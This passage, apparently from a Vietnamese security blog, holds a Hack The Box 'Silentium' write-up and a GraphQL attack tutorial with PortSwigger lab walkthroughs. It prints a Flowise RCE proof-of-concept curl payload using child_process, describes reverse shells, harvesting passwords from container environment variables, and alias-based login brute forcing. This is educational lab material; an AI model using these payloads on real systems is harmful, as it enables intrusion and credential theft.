• Không bỏ qua các lỗi client như XSS, vì kết hợp với cache poisoning có thể thành stored XSS.

Đây là document từ team của tụi mình mà bạn có thể tham khảo

https://docs.google.com/document/d/1ygjSs-zsrErgpZUIl0HMPldfBSXBcy7xLod-IaMQGUM/edit?tab=t.0#heading=h.wypu79tk99ql

Cảm ơn các bạn đã dành thời gian đọc bài viết của mình!!!

I. Recon

Như mọi machine như bình thường thì trước khi expxloit , mình đã recon bằng nmap và tìm được 2 port là 80 và 22 ,theo như suy đoán của mình lúc ban đầu thì sẽ là tìm thông tin đăng nhập ở trang web và sẽ ssh bằng tài khoản đó. Nhớ là trước tiên các bạn phải bỏ ip cùng với domain của lab vào /etc/hosts nhé.

Khi vào trang web thì thấy trang web này là 1 trang SPA , các nội dung tĩnh và dường như mình cũng không thao tác được các chức năng gì . Và sau đó mình cũng có sử dụng Gobuster hay ffuf để tìm các endpoint cũng như các đường dẫn ẩn để xem có attack surfaces gì đặc biệt không , ngoài assets cùng các file css ra như mình cũng ko thấy gì đặc biệt cả

Sau đó mình mới dò thử các subdomain bằng gobuster vhost thì tìm ra 1 trang subdomain Staging.

Khi vào trang thì mình thấy hiện ra là 1 trang đăng nhập , thường thi các bài lab như này yêu cầu mình sẽ phải Bypass Authenication . Khi làm tới đoạn này thì cũng mất kha khá thời gian của mình khi mình ko có tài khoản để có thể test bởi vì nó ko có chức năng đăng kí , nhưng khi xem lại trang trước silentium.htb thì ở phía cuối có ba tên đáng nghi

Và mình quyết định là test bằng 3 cái tên đó cùng với đuôi là @silentium.htb

Sau một hồi test bằng BurpSuite thì tui cũng thấy được trong phần forgot password thì khi sử dụng chúc năng quên mật khẩu và nhập email là ben@silentium.htb , thì mình thấy một cái tempToken cùng với role là “admin” do lỗ hổng trả về dữ liệu trả về ko an toàn . Và mình quyết định lấy token đó reset lại mật khẩu

Cuối cùng thì mình đã reset được mật khẩu và đăng nhập thành công.

Khi vào trang thì mình thấy đây là 1 trang về Flowise . Mình quyết định research trang này trên GG thì biết Flowise là công cụ mã nguồn mở, cho phép xây dựng các ứng dụng và tác nhân (agent) AI dựa trên Large Language Models (LLM) thông qua giao diện kéo-thả trực quan, không cần lập trình nhiều (low-code). Nó giúp đơn giản hóa việc tạo quy trình làm việc (workflow) tùy chỉnh bằng cách kết nối các thành phần LangChain

Và đồng thời vì đây là 1 trang khá lớn nên mình cũng dự đoán được và tra CVE của nó trên mạng thì đúng là nó bị dính khá là nhìu CVE . Thì sau khi tìm hiểu thì mình tìm thấy được 1 CVE critical gần đây điểm gần như là tối đa là

• CVE-2025-59528 (CVSS 10.0 ): Lỗ hổng cực kỳ nghiêm trọng trong node CustomMCP. Do thiếu kiểm tra đầu vào, kẻ tấn công có thể tiêm mã JavaScript độc hại qua tham số mcpServerConfig, dẫn đến việc kiểm soát hoàn toàn hệ thống ( Tức là RCE)
• Lỗ hổng bảo mật tại nút CustomMCP thực chất là một lỗi thực thi mã từ xa (RCE) nghiêm trọng, phát sinh từ việc tin tưởng tuyệt đối vào dữ liệu người dùng. Thay vì sử dụng các phương thức an toàn để xử lý JSON, hàm convertToValidJSONString lại đưa trực tiếp chuỗi cấu hình vào hàm khởi tạo Function() để thực thi như mã JavaScript thuần túy. Do dữ liệu đi từ API đến thẳng bộ thực thi của Node.js mà không qua bất kỳ bộ lọc hay xác thực nào, kẻ tấn công có thể dễ dàng chèn mã độc để thao túng các module hệ thống như child_process hay fs. Kết quả là máy chủ bị chiếm quyền điều khiển hoàn toàn, cho phép thực thi lệnh hệ điều hành và đánh cắp dữ liệu nhạy cảm một cách dễ dàng.

https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

Và cũng có POC cho lỗ hổng này và mình quyết định tấn công RCE thử , thì trước khi RCE thì trong POC có cần 1 cái gọi là API key ở phần Authorization

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }'

Và đoạn này cũng làm mình mất khá nhìu thời gian để RCE vì mình tưởng Bearer đó là cái JWT , nên mình ko thể reverse shell được hehee =)).

Sau đó mình dựng 1 cổng lắng nghe ở máy của mình

Và gửi lệnh Curl trong POC cùng với phần require là reverse shell tới máy của mình

Và mình đã giành được quyền kiểm soát hệ thống

Sau các lệnh liệt kê cơ bản thì mình thấy mình đang ở quyền root nhưng lại ở trong 1 container. Thì việc đầu tiên sẽ là escape ra khỏi container này. Thì sau khi đọc được env hay cat proc/1/environ như trong ảnh thì thấy được các password đáng ngờ

Sau khi tìm được cả 2 mật khẩu đáng ngờ thì mình SSH vào tài khoản ben cùng với mk tìm được ,tìm được cả 2 mật khẩu thì tui thử cả hai (1 trong 2 sẽ vào được ), thì đã vào được tài khoản Ben và phần tiếp theo chỉ còn là leo thang đặc quyền

Flag của user

Sau khi kiểm tra 1 vài lệnh leo thang đặc quyền cơ bản thì mình vẫn chưa tìm ra được hướng giải gì .Nên mình quyết định research tham khảo các hướng giải của các pháp sư trung hoa =))).

Sau khi mình tham khảo thì họ sẽ liệt kê thử các cổng đang lắng nghe và thấy được tên port là 3001

Tiếp theo mình sẽ lôi port đó ra ngoài bằng lệnh Lệnh này dùng để SSH Tunneling (Local Port Forwarding). Nó giúp bạn truy cập một dịch vụ đang chạy bên trong máy chủ từ xa như thể nó đang chạy ngay trên máy tính của bạn. Nhiều khả năng máy chủ (10.129.197.47) đang chạy một ứng dụng web ở cổng 3001 nhưng chỉ cho phép truy cập nội bộ (localhost). Bằng cách dùng lệnh này, bạn có thể mở trình duyệt trên máy mình, gõ localhost:3001 để truy cập trực tiếp vào ứng dụng đang chạy “ẩn” bên trong máy chủ đó

ssh -L 3001:127.0.0.1:3001 ben@10.129.197.47 

Hãy đăng kí và vào trang chính xem sao

bởi vì lúc tra source thì tui có 2 commit hash ?v =….

thì tui lên github của gogs thì thấy commit thì tui biết đây là It’s Gogs 0.13.0, a self-hosted Git platform

Cũng tương tự như trên mình cũng research về CVE trên phiên bản này trở về trước thì ở năm 2025 gần đây

Lỗ hổng 0-day mới nhất (2025)

CVE-2025-8110 là một lỗ hổng bảo mật nghiêm trọng (Remote Code Execution - RCE) trong Gogs, một dịch vụ quản lý mã nguồn Git tự lưu trữ. Lỗ hổng này cho phép kẻ tấn công đã xác thực thực thi mã từ xa thông qua việc xử lý sai các liên kết tượng trưng (symbolic links) trong API

1. Thông tin

• Tên lỗ hổng: Gogs Symlink Path Traversal dẫn đến Remote Code Execution (RCE).
• Mã định danh: CVE-2025-8110.
• Điểm CVSS: 8.7 - 8.8 (High).
• Đối tượng bị ảnh hưởng: Tất cả các phiên bản Gogs ≤ 0.13.3.
• Trạng thái: Đã có bản vá trong phiên bản 0.13.4 (phát hành tháng 1/2026), nhưng nhiều hệ thống vẫn chưa cập nhật.

2. Cơ chế kỹ thuật

Lỗ hổng này là một màn Bypass kinh điển của CVE-2024-55947:

• Vấn đề cũ (CVE-2024-55947): Gogs cho phép ghi đè tệp ngoài thư mục repository bằng cách sử dụng ký tự ../ (Path Traversal). Nhà phát triển đã vá bằng cách chặn chuỗi ../.
• Lỗ hổng mới (CVE-2025-8110): Kẻ tấn công không dùng ../ nữa mà lợi dụng tính năng Symbolic Link (Symlink) của Git.
  • Bước 1: Kẻ tấn công (đã xác thực, quyền thấp) tạo một Symlink trong repository trỏ đến một tệp nhạy cảm bên ngoài (ví dụ: .git/config hoặc các tệp cấu hình hệ thống).
  • Bước 2: Sử dụng API PutContents để cập nhật nội dung cho Symlink đó.
  • Bước 3: Hệ thống Gogs không kiểm tra xem đích đến của Symlink có nằm ngoài phạm vi an toàn hay không. Nó ghi đè tệp mục tiêu theo liên kết đó.
  • Kết quả: Kẻ tấn công có thể ghi đè cấu hình để thực thi lệnh hệ thống (RCE).

Để giải được bài này thì tui có kiếm được PoC của CVE này https://github.com/zAbuQasem/gogs-CVE-2025-8110

Đọc File exploit và chỉnh lại tên user và password đồng thời command dòng register để ko phải đăng kí vì có đăng kí rồi

Vậy là mình đã dành được reverse shell rồi , với quyền truy cập root thì t có thể đọc được cờ và Machine này kết thúc tại đây . Tổng quan về Machine này thì là sự kết hợp của 2 CVE khá là hay nhưng mà CVE sau thì mình phải tham khảo các wu thì mới hoàn thành được . Cảm ơn các bạn đã dành thời gian đọc nhé . Hẹn các bạn ở các bài sau ^_^

Nếu bạn từng làm việc tới API trong một thời gian , thì gần như chắc chắn bạn đã tiếp xúc với REST API , thứ gần như là “default choice” của các backend system hiện nay bởi vì tính tiện lợi của nó.

Trước đó nữa , trong các hệ thống enterphise cũ hơn , bạn cũng có thể sẽ gặp SOAP - verbose , chặt chẽ nhưng khá nặng nề . Gần đây hơn , các hệ thống microservices lại gRPC hơn vì tính hiệu năng của nó và binary protocol.

Nhưng có 1 vấn đề chung là user ngày càng có nhu cầu và linh hoạt hơn trong việc lấy dữ liệu

Và đó là lúc GraphQL xuất hiện , ban đầu GraphQL được xem như là một “REST killer” nhưng thực tế thì nó ko thay thế hoàn toàn REST , mà nó mở ra 1 cách tiếp cận API hoàn toàn mới

Client chủ động lấy dữ liệu khi họ cần , thay vì server quyết định

Điều này nghe có vể là tốt nhưng dưới góc nhìn của security , thì nó cũng mở ra 1 loạt vấn đề thú vị

II. GraphQL là gì?

GraphQL thực chất là 1 ngôn ngữ truy vấn API cho phép User kiểm soát chính sát dữ liệu được trả về từ server

Không giống như REST API , mỗi endpoint sẽ đại diện cho 1 resource cụ thể , GraphQL sử dụng 1 endpoint duy nhất để xử lí tất cả các request , Hành vi của request sẽ được xác định bởi nội dung của query thay vì URL hoặc HTTP method.

GraphQL cho phép client :

• Chỉ định chính xác các field cần thiết
• Truy vấn nhiều resource trong 1 request duy nhất
• Nhận repspone có cấu trúc đúng với query đã gửi

Điều này giúp làm giảm số lượng request tới máy chủ và tránh các vấn đề như over-fetching và under-fetching thường gặp trong REST.

III. GraphQL hoạt động như thế nào ?

GraphQL hoạt động dựa trên một schema , đóng vai trò là hợp đồng giữa client và server

Một Schema sẽ định nghĩa :

• Các object type ( kiểu dữ liệu)
• Các field có thể truy vấn
• Mối quan hệ giữa các Object
• Các operation có sẵn hay còn gọi là các thao tác có ẵn

GraphQL hỗ trợ 3 loại operation chính :

a. Queries

Queries được sử dụng để lấy dữ liệu từ kho dữ liệu server , tương đương với GET trong REST

Các truy vấn thường có các thành phần chính sau:

• Loại query opetation. Về mặt kỹ thuật, đây là tùy chọn nhưng được khuyến khích, vì nó cho máy chủ biết rõ ràng rằng yêu cầu đến là một truy vấn.
• Tên truy vấn. Bạn có thể đặt bất kỳ tên nào tùy ý. Tên truy vấn là tùy chọn, nhưng được khuyến khích vì nó có thể giúp ích cho việc debug sau này.
• Data structure : Đây là dữ liệu mà truy vấn nên trả về.
• Optionally, có thể có một hoặc nhiều đối số. Chúng được sử dụng để tạo các truy vấn trả về thông tin chi tiết của một đối tượng cụ thể (ví dụ: “cho tôi tên và mô tả của sản phẩm có ID 123”).

query {
  getProduct(id: 123) {
    name
    description
  }
}

Response sẽ có cấu trúc giống với query

{
  "data": {
    "getProduct": {
      "name": "Example",
      "description": "Example description"
    }
  }
}

b. Mutations

Mutations được sử dụng để thay đổi kiểu dữ liệu theo 1 cách nào đó ( thêm, cập nhật , xóa) chúng tương đương với POST , PUT , DELETE của API REST

    #Example mutation request

    mutation {
        createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
            id
            name
            listed
        }
    }

    #Example mutation response

    {
        "data": {
            "createProduct": {
                "id": 123,
                "name": "Flamin' Cocktail Glasses",
                "listed": "yes"
            }
        }
    }

Giống như các truy vấn, các thao tác thay đổi dữ liệu (mutations) cũng có operation type, name và structure cho dữ liệu trả về. Tuy nhiên, các thao tác thay đổi dữ liệu luôn nhận một đầu vào thuộc một kiểu dữ liệu nào đó. Đầu vào này có thể là một giá trị nội tuyến, nhưng trên thực tế thường được cung cấp dưới dạng một biến.

Mutations thường yêu cầu input và có thể gây side effects tới server . Cho các bạn ko biết side effect là gì thì Side effect (tác dụng phụ) tới server trong lập trình là các hành động tương tác làm thay đổi trạng thái, dữ liệu hoặc hệ thống bên ngoài phạm vi hàm đang chạy, phổ biến nhất là gửi yêu cầu (request) đến API máy chủ (Backend), ghi nhật ký (logging), hoặc lưu trữ/cập nhật dữ liệu. Đây là các thao tác bất đồng bộ (async) không thuần khiết, khác với việc chỉ nhận và trả về giá trị

c. Subscriptions

Subscriptions cho phép client cho phép thiết lập kết nối lâu dài tới server để nhận dữ liệu theo thời gian thực , thường thiệt lập qua WebSocket.

Components of queries and mutations

Fields

Tất cả các kiểu dữ liệu GraphQL đều chứa các mục dữ liệu có thể truy vấn được gọi là trường (fields). Khi bạn gửi một truy vấn hoặc thao tác sửa đổi (mutation), bạn chỉ định trường nào bạn muốn API trả về. Phản hồi sẽ phản ánh nội dung được chỉ định trong yêu cầu.

Ví dụ dưới đây minh họa một truy vấn để lấy thông tin ID và tên của tất cả nhân viên, cùng với kết quả trả về tương ứng. Trong trường hợp này, id, name.firstname, và name.lastnamelà các trường được yêu cầu.

    #Request

    query myGetEmployeeQuery {
        getEmployees {
            id
            name {
                firstname
                lastname
            }
        }
    }

    #Response

    {
        "data": {
            "getEmployees": [
                {
                    "id": 1,
                    "name" {
                        "firstname": "Carlos",
                        "lastname": "Montoya"
                    }
                },
                {
                    "id": 2,
                    "name" {
                        "firstname": "Peter",
                        "lastname": "Wiener"
                    }
                }
            ]
        }
    }

Arguments

Các agruments là các đối số được chỉ định cho các trường cụ thể ,

Khi bạn gửi một truy vấn hoặc thao tác thay đổi dữ liệu có chứa các tham số, máy chủ GraphQL sẽ xác định cách phản hồi dựa trên cấu hình của nó. Ví dụ, nó có thể trả về một đối tượng cụ thể thay vì thông tin chi tiết của tất cả các đối tượng.

Ví dụ dưới đây minh họa một getEmployeeyêu cầu nhận mã số nhân viên làm tham số. Trong trường hợp này, máy chủ chỉ phản hồi thông tin chi tiết của nhân viên có mã số đó.

    #Example query with arguments

    query myGetEmployeeQuery {
        getEmployees(id:1) {
            name {
                firstname
                lastname
            }
        }
    }

    #Response to query

    {
        "data": {
            "getEmployees": [
            {
                "name" {
                    "firstname": Carlos,
                    "lastname": Montoya
                    }
                }
            ]
        }
    }
    

Nếu các đối số do người dùng cung cấp được sử dụng để truy cập trực tiếp vào các đối tượng, thì API GraphQL có thể dễ bị tổn thương bởi các lỗ hổng IDOR.

Variables

Variables cho phép truyền tham số động vào query thay vì hardcode trực tiếp trong request.

Cấu trúc gồm 3 phần:

• Khai báo biến và kiểu dữ liệu
• Sử dụng biến trong query
• Truyền giá trị qua JSON

Ví dụ:

query getEmployee($id: ID!) {
  getEmployees(id: $id) {
    name {
      firstname
      lastname
    }
  }
}

{
  "id":1
}

Dấu ! nghĩa là biến bắt buộc.

Sử dụng variables giúp tái sử dụng query và tách logic khỏi dữ liệu đầu vào.

Aliases

GraphQL không cho phép trùng field trong cùng một query. Aliases giải quyết vấn đề này bằng cách đặt tên khác cho từng kết quả.

Ví dụ:

query {
  product1: getProduct(id: "1") {
    id
    name
  }
  product2: getProduct(id: "2") {
    id
    name
  }
}

Aliases cho phép lấy nhiều object cùng loại trong một request.

Ngoài ra, chúng có thể bị lạm dụng để gửi nhiều request logic trong một HTTP request (ví dụ: bypass rate limit).

Fragments

Fragments là các block field có thể tái sử dụng trong nhiều query.

Ví dụ:

fragment productInfo on Product {
  id
  name
  listed
}

Sử dụng:

query {
  getProduct(id: 1) {
    ...productInfo
    stock
  }
}

Fragments giúp giảm lặp code và dễ maintain khi schema thay đổi.

Subscriptions

Như đã nhắc ở trên thì Subscriptions là một loại operation cho phép client duy trì kết nối lâu dài với server để nhận dữ liệu theo thời gian thực.

Thay vì client phải liên tục gửi request (polling), server sẽ chủ động push dữ liệu khi có thay đổi.

Subscriptions thường được dùng cho:

• Chat
• Realtime notifications
• Collaborative applications

Khác với queries và mutations, subscriptions thường được triển khai qua WebSocket thay vì HTTP.

Client vẫn định nghĩa cấu trúc dữ liệu cần nhận, tương tự như các operation khác.

Introspection

Introspection là tính năng cho phép client truy vấn thông tin về schema của GraphQL.

Thông qua introspection, client có thể:

• Liệt kê toàn bộ type
• Xem các field và arguments
• Xác định các query và mutation có sẵn

Tính năng này thường được sử dụng bởi:

• GraphQL IDEs
• Tools sinh tài liệu API

Tuy nhiên, introspection cũng làm lộ toàn bộ cấu trúc API.

III . Lỗ hổng GraphQL API

Nãy giờ nói lí thuyết cũng khá nhiều chắc các bạn cũng đã nắm rõ sơ bộ về cấu trúc của GraphQL rồi thì trong phần này chúng ta sẽ đi tới phần tấn công GraphQL cũng như thực hành vài bài về nó nhé.

Hình ảnh minh họa ( https://portswigger.net/web-security/graphql#finding-graphql-endpoints)

1. Tìm các endpoint của GraphQL

Trước khi có thể kiểm thử về tấn công GraphQL thì việc đầu tiên bạn cần làm là tìm các endpoint của nó. Bởi vì theo kiến trúc thì GraphQL chỉ sử dụng 1 endpoint cho các request gửi tới

Universal queries

Nếu bạn gửi yêu cầu query{__typename}đến bất kỳ điểm cuối GraphQL nào, chuỗi đó sẽ được bao gồm {"data": {"__typename": "query"}}ở đâu đó trong phản hồi của nó. Điều này được gọi là truy vấn phổ quát, và là một công cụ hữu ích để kiểm tra xem URL có tương ứng với dịch vụ GraphQL hay không.

Truy vấn hoạt động vì mỗi điểm cuối GraphQL đều có một trường dành riêng có tên là type __typenametrả về kiểu dữ liệu của đối tượng được truy vấn dưới dạng chuỗi.

Tìm các điểm cuối phổ biến

Các dịch vụ GraphQL thường sử dụng các hậu tố điểm cuối tương tự. Khi kiểm thử các điểm cuối GraphQL, bạn nên gửi các truy vấn chung đến các vị trí sau:

• /graphql
• /api
• /api/graphql
• /graphql/api
• /graphql/graphql

Nếu các điểm cuối phổ biến này không trả về phản hồi GraphQL, bạn cũng có thể thử thêm /v1vào đường dẫn.

Request methods

GraphQL endpoint trong production thường:

• Chỉ chấp nhận POST
• Content-Type: application/json

Điều này giúp giảm rủi ro như CSRF.

Tuy nhiên, một số hệ thống vẫn hỗ trợ:

• GET requests
• POST với x-www-form-urlencoded

Khi không tìm được endpoint bằng POST, nên thử lại với các method khác.

Sau khi xác định endpoint, bước tiếp theo là gửi các query cơ bản để hiểu cách API hoạt động.

Nếu endpoint được dùng bởi web app:

• Dùng Burp Suite browser
• Quan sát HTTP history
• Phân tích các query thực tế được gửi

Mục tiêu:

• Xác định structure query
• Hiểu cách truyền arguments
• Xem response format

Exploiting unsanitized arguments

Arguments là điểm bắt đầu tốt để tìm bug.

Nếu API dùng arguments để truy cập trực tiếp object, có thể xảy ra:

IDOR (Insecure Direct Object Reference)

Ví dụ:

query {
  products {
    id
    name
    listed
  }
}

Response chỉ trả về sản phẩm listed = true.

Nếu ID là tuần tự, có thể suy ra:

• ID bị thiếu có thể là dữ liệu bị ẩn

Thử query trực tiếp:

query {
  product(id: 3) {
    id
    name
    listed
  }
}

Nếu server trả dữ liệu thì xác nhận có vấn đề về access control

Discovering schema information

Bước tiếp theo trong quá trình kiểm thử là thu thập thông tin về lượt đồ cơ bản , cần reconstruct schema.

Cách tốt nhất để làm điều này là sử dụng các truy vấn nội suy. Nội suy hay còn gọi là instropection là một chức năng tích hợp sẵn của GraphQL cho phép bạn truy vấn máy chủ để lấy thông tin về lược đồ.

Để sử dụng phương pháp nội quan nhằm khám phá thông tin lược đồ, hãy truy vấn __schematrường này. Trường này có sẵn trên kiểu gốc của tất cả các truy vấn.

Tương tự như các truy vấn thông thường, bạn có thể chỉ định các trường và cấu trúc của phản hồi mà bạn muốn nhận được khi chạy truy vấn nội suy. Ví dụ, bạn có thể muốn phản hồi chỉ chứa tên của các mutation khả dụng.

Ngoài ra Burp cũng có thể tạo các truy vấn nội suy cho bạn. Để biết thêm thông tin, hãy xem Truy cập lược đồ API GraphQL bằng cách sử dụng nội suy .

Query vào __schema để lấy thông tin:

{
  "query":"{__schema{queryType{name}}}"
}

Nếu thành công:

• Introspection đang bật
• Có thể enumerate toàn bộ API

Full introspection

Chạy full introspection query để lấy:

• Queries
• Mutations
• Types
• Fields
• Relationships

Visualizing schema

Kết quả introspection thường khó phân tích trực tiếp.

Có thể dùng GraphQL visualizer để:

• Map relationships
• Hiểu flow data nhanh hơn
• Bạn có thể tham khảo link ở đây https://nathanrandal.com/graphql-visualizer/

Dù best practice là disable introspection, nhưng thực tế nhiều hệ thống vẫn bật.

Luôn thử introspection query đơn giản trước

Nếu thành công:

→ attack surface tăng đáng kể

Suggestions (khi introspection bị tắt)

Ngay cả khi introspection bị disable, vẫn có thể leak thông tin qua error message.

Ví dụ:

Did you mean 'productInformation'?

Server vô tình tiết lộ tên field hợp lệ

Một số tool có thể tận dụng cơ chế này để rebuild schema.

Summary (pentest mindset)

• Test nhiều HTTP methods → tìm endpoint
• Quan sát traffic thật → hiểu cách app dùng GraphQL
• Fuzz arguments → tìm IDOR
• Introspection → map toàn bộ schema
• Suggestions → fallback khi introspection bị tắt

Để các bạn có thể hình dung rõ hơn thì bài này mình sẽ làm rõ hơn về các cách tấn công thông qua các bài lab trên PortSwigger

Thì bài đầu tiên thì yêu cầu chúng ta phải tìm ra 1 secret password để có thể solve the lab.

Lab: Accessing private GraphQL posts – Walkthrough

Khi vào lab, việc đầu tiên mình làm là mở trang blog bằng browser tích hợp trong Burp Suite để quan sát cách dữ liệu được load.

Ngay lập tức có thể thấy các bài viết không được render sẵn từ server-side, mà được fetch thông qua một request API. Mở sang tab HTTP history, mình thấy có request gửi tới endpoint /graphql/v1. Đây là dấu hiệu rõ ràng ứng dụng đang sử dụng GraphQL.

Khi xem response của request này, có một chi tiết khá đáng chú ý: mỗi bài blog đều có một id và các id này tăng tuần tự. Tuy nhiên danh sách trả về lại bị thiếu id = 3. Điều này thường không phải ngẫu nhiên — nhiều khả năng đây là một bài viết bị ẩn.

Recon – hiểu schema

Để hiểu API rõ hơn, mình gửi request này sang Repeater.

Tại đây, Burp hỗ trợ rất tiện: chỉ cần click chuột phải → GraphQL → Set introspection query, nó sẽ tự generate một introspection query hoàn chỉnh. Sau khi gửi request, response trả về toàn bộ schema của API.

Khi đọc qua schema, mình phát hiện trong type BlogPost có một field khá thú vị là postPassword. Field này không xuất hiện trong response ban đầu, nghĩa là client bình thường không request tới — nhưng backend vẫn expose.

Bạn có thể ném vào trang này để có thể hiểu rõ hơn về response

Đây gần như là “mùi bug” rõ ràng bởi vì có khả năng dữ liệu nhạy cảm tồn tại nhưng không được kiểm soát đúng cách.

###

Quay lại request ban đầu trong HTTP history và gửi lại vào Repeater, lần này mình không dùng introspection nữa mà chỉnh trực tiếp query.

Trong phần variables, mình đổi id thành 3 — chính là ID bị thiếu trước đó.

Sau đó, trong query, mình thêm field postPassword vào cùng với các field khác.

Khi gửi request, server trả về đầy đủ thông tin của bài viết id = 3, bao gồm cả postPassword.

Điều này xác nhận:

• Không có kiểm soát truy cập theo ID
• Backend cho phép truy vấn dữ liệu ẩn nếu biết ID

Đây chính là một dạng IDOR trong GraphQL.

###

Lúc này chỉ cần copy giá trị của postPassword từ response và submit vào lab là xong.

Lab: Accidental exposure of private GraphQL fields – Walkthrough

Khi vào lab, mình mở trang My account và thử đăng nhập như bình thường. Mục đích không phải để login thành công, mà để xem phía client đang gửi request gì.

Chuyển sang tab HTTP history trong Burp Suite, mình thấy request login không phải dạng REST quen thuộc mà là một GraphQL mutation. Payload chứa username và password, nghĩa là toàn bộ logic auth đang đi qua GraphQL.

Đểm quan trọng t có thấy thấy là nếu login dùng GraphQL, khả năng cao user data cũng có thể bị truy vấn qua các query khác.

Recon – enumerate schema

Mình gửi request login này sang Repeater, sau đó dùng tính năng Set introspection query để dump schema.

Sau khi gửi request, Burp cho phép lưu toàn bộ query vào site map. Khi xem lại, có một query khá đáng chú ý: getUser.

Query này cho phép lấy thông tin user dựa trên id, và quan trọng hơn là nó trả về cả username và password.

Đây là một design flaw rõ ràng:

• API expose field nhạy cảm (password)
• Không có dấu hiệu filtering theo role

Mình gửi query getUser sang Repeater và thử với giá trị mặc định (id = 0) nhưng không có kết quả.

Để thuận tiện cho việc generate ra querry thì bạn có thể sử dụng extension InQL trong BAppstore của Burpsuite

Tiếp theo, đơn giản là thử các giá trị ID khác. Vì đây là lab, ID thường là số nhỏ và tuần tự. Khi thử id = 1, server trả về:

• username: administrator
• password: (password thật)

Dùng username và password vừa lấy được để đăng nhập lại vào hệ thống.

Sau khi login thành công với quyền admin, truy cập vào Admin panel và xóa user carlos là hoàn thành lab.

Lab: Finding a hidden GraphQL endpoint – Walkthrough

Khi vào lab, nếu chỉ click qua các chức năng trên web thì gần như không thấy dấu hiệu nào của GraphQL. Điều này gợi ý ngay từ đầu: endpoint có thể bị ẩn, không được gọi trực tiếp từ frontend.

Lúc này mình không đi theo hướng “click UI” nữa mà chuyển sang brute nhẹ các endpoint phổ biến trong Repeater, kiểu như /graphql, /api, /graphql/v1…

Khi gửi request GET tới /api, server trả về lỗi kiểu "Query not present". Đây là một dấu hiệu rất đặc trưng của GraphQL — tức là endpoint tồn tại, nhưng mình chưa gửi query.

Thử thêm một universal query đơn giản vào URL:

/api?query=query{__typename}

Response trả về:

Đến đây có thể khẳng định /api chính là GraphQL endpoint, chỉ là nó không được expose ra UI.

###

Bước tiếp theo là enumerate schema bằng introspection. Tuy nhiên khi gửi introspection query bình thường, server từ chối — rõ ràng có cơ chế chặn.

Nhưng điểm yếu ở đây là cách chặn không cẩn thận. Nhiều hệ thống chỉ dùng regex để block pattern kiểu __schema{.

GraphQL parser thì không quan tâm whitespace, nên nếu chèn thêm ký tự xuống dòng hoặc space, query vẫn hợp lệ nhưng không còn match regex nữa.

Mình sửa introspection query bằng cách thêm newline sau __schema, rồi encode lại vào URL.

Sau khi gửi lại request, lần này server trả về full schema.

Điều này giúp mình xác nhận rằng :

• Introspection không thực sự bị disable
• Chỉ bị filter bằng regex yếu

Sau khi có schema, mình dùng Burp lưu toàn bộ query vào site map để dễ xem.

Lúc này có thể thấy các query và mutation quan trọng, trong đó có:

• getUser
• deleteOrganizationUser

Đây là 2 function rất đáng chú ý:

• Một cái để lấy user
• Một cái để xóa user

Mình gửi getUser vào Repeater và thử với các ID khác nhau.

Ban đầu id = 0 không trả về gì. Tiếp tục tăng dần, đến id = 3 thì thấy trả về user carlos.

Như vậy: ID của carlos là 3

###

Quay lại schema, mình thấy mutation deleteOrganizationUser nhận input là user ID.

Chỉ cần craft một mutation đơn giản, truyền id = 3.

Sau khi gửi, user carlos bị xóa và lab hoàn thành.

Lab: Bypassing GraphQL brute force protections

Lab này yêu cầu brute force tài khoản carlos, nhưng API có rate limiting.

Điểm mấu chốt là phải bypass rate limit bằng GraphQL aliases.

Khi truy cập chức năng đăng nhập, có thể thấy request login được gửi dưới dạng GraphQL mutation.

Khi thử login sai nhiều lần trong Burp Repeater, server bắt đầu trả về lỗi rate limit. Điều này chứng tỏ API đang giới hạn số lượng request theo thời gian.

Tuy nhiên, cơ chế này chỉ đếm số HTTP request, không quan tâm bên trong request có bao nhiêu operation.

GraphQL hỗ trợ aliases, để cho các bạn ko biết aliases là gì thì mình có viết ở trên nhé , thì aliases cho phép gửi nhiều operation trong một request.

Điều này tạo ra một điểm yếu quan trọng:

• Thay vì gửi nhiều request → bị rate limit
• Ta gửi 1 request duy nhất chứa hàng chục login thì sẽ ko bị dính request

Sau khi gửi request login vào Repeater, bạn cần chỉnh sửa lại payload.

Đầu tiên, bỏ phần variables và operationName, vì ta sẽ viết query thủ công.

Sau đó, tạo một mutation chứa nhiều alias, mỗi alias là một lần thử password khác nhau cho user carlos.

Ví dụ:

mutation {
  bruteforce0: login(input:{username:"carlos", password:"123456"}) {
    token
    success
  }

  bruteforce1: login(input:{username:"carlos", password:"password"}) {
    token
    success
  }

  bruteforce2: login(input:{username:"carlos", password:"qwerty"}) {
    token
    success
  }
}

Bạn có thể generate danh sách này từ wordlist password của lab (bạn có thể nhờ gpt viết dùm cho nhanh hehe =))

Khi gửi request:

• Server sẽ trả về response chứa kết quả của từng alias
• Mỗi alias có field success

Chỉ cần tìm:

"success": true

→ đó là password đúng.

Preventing graphql-attacks

Khi deploy GraphQL API lên production, nếu cấu hình không cẩn thận thì rất dễ dính các lỗi như lộ schema, brute force, hoặc CSRF. Dưới đây là những điểm quan trọng cần lưu ý.

Bảo vệ schema và thông tin nhạy cảm

Nếu API không dành cho public, nên tắt introspection để tránh việc attacker dễ dàng xem toàn bộ schema. Điều này giúp giảm đáng kể khả năng bị lộ cấu trúc API và các field nhạy cảm.

Trong trường hợp API public và bắt buộc phải bật introspection, cần rà soát kỹ schema để đảm bảo không expose các field quan trọng như email, user ID hoặc dữ liệu nội bộ.

Ngoài ra, nên tắt cơ chế suggestions. Nếu để bật, attacker có thể lợi dụng lỗi gợi ý để suy ra tên field hoặc query hợp lệ, từ đó từng bước reconstruct schema (ví dụ dùng tool như Clairvoyance).

Ngăn chặn brute force & abuse

GraphQL có một điểm yếu là có thể bị abuse thông qua aliases hoặc query phức tạp. Vì vậy, việc chỉ dùng rate limit theo HTTP request là chưa đủ.

Cách phòng thủ hiệu quả hơn là kiểm soát trực tiếp query:

• Giới hạn độ sâu (query depth): tránh các query lồng nhiều tầng gây tốn tài nguyên hoặc bị lợi dụng cho DoS
• Giới hạn số lượng operation / alias: ngăn attacker nhồi nhiều request vào một query
• Giới hạn kích thước query: tránh payload quá lớn
